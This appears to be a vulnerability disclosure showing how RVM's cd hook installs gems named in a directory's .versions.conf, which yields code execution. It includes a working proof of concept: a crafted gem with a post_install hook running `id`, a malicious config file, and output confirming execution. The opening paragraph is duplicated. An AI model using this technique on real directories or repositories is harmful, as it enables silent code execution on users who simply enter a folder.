RVM, by default, hooks `cd` and automatically parses a file named `.versions.conf` in the directory being changed to. This file can provide the names of arbitrary gems, via `ruby-gem-install` entries, which will be automatically passed to `gem install` upon `cd` into the directory. The code responsible, as of a vulnerable commit, is available at <https://github.com/rvm/rvm/blob/b04c0158d/scripts/functions/rvmrc_project#L100>. This behaviour can be used to achieve immediate installation of an arbitrary Ruby gem. This can be used to gain immediate Ruby code execution if that gem defines a `post_install` hook. Furthermore, the gem can be located in `$PWD`, making this a fully self-contained attack. Thanks to <http://stackoverflow.com/a/33739910> for detailing the `post_install` hook trick. It is critical that `.versions.conf` specifies a version of Ruby that satisfies RVM and will allow the user to successfully install gems. This may be a version of Ruby that the user has installed...
RVM, by default, hooks `cd` and automatically parses a file named `.versions.conf` in the directory being changed to. This file can provide the names of arbitrary gems, via `ruby-gem-install` entries, which will be automatically passed to `gem install` upon `cd` into the directory. The code responsible, as of a vulnerable commit, is available at <https://github.com/rvm/rvm/blob/b04c0158d/scripts/functions/rvmrc_project#L100>. This behaviour can be used to achieve immediate installation of an arbitrary Ruby gem. This can be used to gain immediate Ruby code execution if that gem defines a `post_install` hook. Furthermore, the gem can be located in `$PWD`, making this a fully self-contained attack. Thanks to <http://stackoverflow.com/a/33739910> for detailing the `post_install` hook trick. It is critical that `.versions.conf` specifies a version of Ruby that satisfies RVM and will allow the user to successfully install gems. This may be a version of Ruby that the user has installed via RVM, or it may be the magic value `"system"` to specify that the base system's Ruby should be used (Note that Ruby must be installed on the base system). If the magic value `"system"` is used, then the user must be privileged so that the installation of the gem to the system gem location can succeed. Hence, exploitation of an unprivileged user is generally only possible when the user has installed a Ruby via RVM and the exact version is known. ### POC Install a known version of ruby via RVM: ```text rvm@e6aeaf6d79ec:~$ rvm install 2.3.0 [... SNIP ...] ``` Prepare a malicious gem that will trigger execution of Ruby code upon installation: ```text rvm@e6aeaf6d79ec:~$ mkdir -p poc-gem/lib/ rvm@e6aeaf6d79ec:~$ cat > poc-gem/poc-gem.gemspec Gem::Specification.new do |s| s.name = '.poc-gem' s.version = '1.33.7' s.summary = 'poc' s.authors = ['A. Hacker'] s.files = ['lib/rubygems_plugin.rb'] end ^D rvm@e6aeaf6d79ec:~$ cat > poc-gem/lib/rubygems_plugin.rb Gem.post_install do File.open('/tmp/poc_output', 'w') {|f| f.write("Arbitrary ruby code execution as #{`id`}")} end ^D rvm@e6aeaf6d79ec:~$ cd poc-gem/ rvm@e6aeaf6d79ec:~/poc-gem$ gem build poc-gem.gemspec WARNING: licenses is empty, but is recommended. Use a license identifier from http://spdx.org/licenses or 'Nonstandard' for a nonstandard license. WARNING: no email specified WARNING: no homepage specified WARNING: See http://guides.rubygems.org/specification-reference/ for help Successfully built RubyGem Name: .poc-gem Version: 1.33.7 File: .poc-gem-1.33.7.gem ``` Prepare a directory that will trigger installation of the malicious gem upon `cd`: ```text rvm@e6aeaf6d79ec:~/poc-gem$ cd .. rvm@e6aeaf6d79ec:~$ mkdir poc rvm@e6aeaf6d79ec:~$ cp poc-gem/.poc-gem-1.33.7.gem poc/ rvm@e6aeaf6d79ec:~$ cat > poc/.versions.conf ruby=ruby-2.3.0 ruby-gem-install=.poc-gem-1.33.7.gem ^D ``` Trigger the POC: ```text rvm@e6aeaf6d79ec:~$ cat /tmp/poc_output cat: /tmp/poc_output: No such file or directory rvm@e6aeaf6d79ec:~$ cd poc installing gem .poc-gem-1.33.7.gem --no-ri --no-rdoc. rvm@e6aeaf6d79ec:~/poc$ cat /tmp/poc_output Arbitrary ruby code execution as uid=1000(rvm) gid=1000(rvm) groups=1000(rvm) ```